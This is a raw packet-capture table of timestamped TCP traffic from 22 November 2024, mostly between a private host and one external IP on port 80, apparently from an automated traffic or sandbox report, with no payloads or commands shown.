Nov 22, 2024 17:08:59.192971945 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.193039894 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.193552017 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.193634033 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.193660021 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.193712950 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.193712950 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.194468021 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.194519043 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.194530964 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.194550037 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.194577932 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.194714069 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.195401907 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.195460081 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.195466995 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.195472002 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.195521116 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.195521116 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.196285963 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.196326971 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.196329117 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.196338892 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.196369886 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.197279930 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.197292089 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.197304964 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.197356939 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.197356939 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.198123932 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.198266983 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.198275089 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.198482037 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.227703094 CET	49788	443	192.168.2.10	13.107.246.40
Nov 22, 2024 17:08:59.292609930 CET	443	49790	23.200.0.6	192.168.2.10
Nov 22, 2024 17:08:59.323206902 CET	443	49790	23.200.0.6	192.168.2.10
Nov 22, 2024 17:08:59.323215961 CET	443	49790	23.200.0.6	192.168.2.10
Nov 22, 2024 17:08:59.323246956 CET	443	49790	23.200.0.6	192.168.2.10
Nov 22, 2024 17:08:59.323257923 CET	443	49790	23.200.0.6	192.168.2.10
Nov 22, 2024 17:08:59.323283911 CET	49790	443	192.168.2.10	23.200.0.6
Nov 22, 2024 17:08:59.323291063 CET	443	49790	23.200.0.6	192.168.2.10
Nov 22, 2024 17:08:59.323307991 CET	443	49790	23.200.0.6	192.168.2.10
Nov 22, 2024 17:08:59.323331118 CET	49790	443	192.168.2.10	23.200.0.6
Nov 22, 2024 17:08:59.323359966 CET	49790	443	192.168.2.10	23.200.0.6
Nov 22, 2024 17:08:59.327040911 CET	49790	443	192.168.2.10	23.200.0.6
Nov 22, 2024 17:08:59.327060938 CET	443	49790	23.200.0.6	192.168.2.10
Nov 22, 2024 17:08:59.367640018 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.367681980 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.367738962 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.367738962 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.367782116 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.367866039 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.367887974 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.368004084 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.368151903 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.368201971 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.368216991 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.368283033 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.368283033 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.369052887 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.369102001 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.369115114 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.369148970 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.369184971 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.369997978 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.370021105 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.370033979 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.370079994 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.370079994 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.370913029 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.370949030 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.370963097 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.370981932 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.370981932 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.371043921 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.371823072 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.371855021 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.371867895 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.371891022 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.371908903 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.372714043 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.372770071 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.372780085 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.372798920 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.372817993 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.373655081 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.373718023 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.373720884 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.373729944 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.373822927 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.374686003 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.374710083 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.374722958 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.374747038 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.374785900 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.375499010 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.375531912 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.375543118 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.375560999 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.375600100 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.376404047 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.376440048 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.376452923 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.376491070 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.376491070 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.377347946 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.377403021 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.377413988 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.377420902 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.377531052 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.378237963 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.378272057 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.378285885 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.378309011 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.378309011 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.378326893 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.379174948 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.379214048 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.379225969 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.379256010 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.379256010 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.380095959 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.380124092 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.380136967 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.380166054 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.380218029 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.380980015 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.381036997 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.381051064 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.381052971 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.381114960 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.381978989 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.382025003 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.382038116 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.382059097 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.382149935 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.382149935 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.382837057 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.382864952 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.382878065 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.382910967 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.382910967 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.383742094 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.383837938 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.383851051 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.383856058 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.384062052 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.384723902 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.384752989 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.384767056 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.384792089 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.384834051 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.385560036 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.385629892 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.385642052 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.385649920 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.385673046 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.385687113 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.386503935 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.386526108 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.386535883 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.386604071 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.387411118 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.387455940 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.387469053 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.387532949 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.387532949 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.388334036 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.388396978 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.388621092 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.388669014 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.388679981 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.388684034 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.388721943 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.388721943 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.389573097 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.389611959 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.389624119 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.389643908 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.389643908 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.389667034 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.390510082 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.390538931 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.390549898 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.390602112 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.390602112 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.391375065 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.391403913 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.391419888 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.391479969 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.391479969 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.392345905 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.392393112 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.392411947 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.392447948 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.392447948 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.393253088 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.393290043 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.393301964 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.393335104 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.393335104 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.393397093 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.394144058 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.394185066 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.394201040 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.394229889 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.394229889 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.394330025 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.395061970 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.395092964 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.395107031 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.395169973 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.395169973 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.395978928 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.396012068 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.396025896 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.396087885 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.396087885 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.396970987 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.397021055 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.397034883 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.397058010 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.397100925 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.397836924 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.397874117 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.397885084 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.397917986 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.397917986 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.397991896 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.398762941 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.398797035 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.398808956 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.398832083 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.398874998 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.399653912 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.399691105 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.399707079 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.399730921 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.399730921 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.399749994 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.400585890 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.400635004 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.400643110 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.400649071 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.400708914 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.401617050 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.401716948 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.575402021 CET	443	49791	20.25.227.174	192.168.2.10
Nov 22, 2024 17:08:59.575625896 CET	443	49791	20.25.227.174	192.168.2.10
Nov 22, 2024 17:08:59.575720072 CET	49791	443	192.168.2.10	20.25.227.174
Nov 22, 2024 17:08:59.576069117 CET	49791	443	192.168.2.10	20.25.227.174
Nov 22, 2024 17:08:59.576086998 CET	443	49791	20.25.227.174	192.168.2.10
Nov 22, 2024 17:08:59.577138901 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.577240944 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.577301979 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.577348948 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.577408075 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.577541113 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.577585936 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.577601910 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.577601910 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.577637911 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.577649117 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.578381062 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.578403950 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.578423977 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.578442097 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.578811884 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.578887939 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.578917027 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.578938961 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.578975916 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.579015017 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.579725981 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.579782009 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.579814911 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.579830885 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.579899073 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.580601931 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.580651999 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.580699921 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.580713034 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.580749035 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.580760002 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.581717014 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.581732988 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.581747055 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.581789017 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.581789017 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.582432032 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.582482100 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.582495928 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.582496881 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.582542896 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.582542896 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.583343983 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.583365917 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.583376884 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.583396912 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.583421946 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.584269047 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.584312916 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.584327936 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.584348917 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.584348917 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.584367990 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.585213900 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.585268021 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.585283041 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.585294008 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.585320950 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.585320950 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.586146116 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.586225033 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.586257935 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.586345911 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.586357117 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.586489916 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.586987972 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.587050915 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.587080002 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.587097883 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.587126970 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.587142944 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.589500904 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.589533091 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.589548111 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.589576960 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.589576960 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.589607954 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.589618921 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.589629889 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.589641094 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.589656115 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.589759111 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.589782953 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.589863062 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.589874983 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:08:59.589905977 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:08:59.589925051 CET	49747	80	192.168.2.10	185.215.113.206
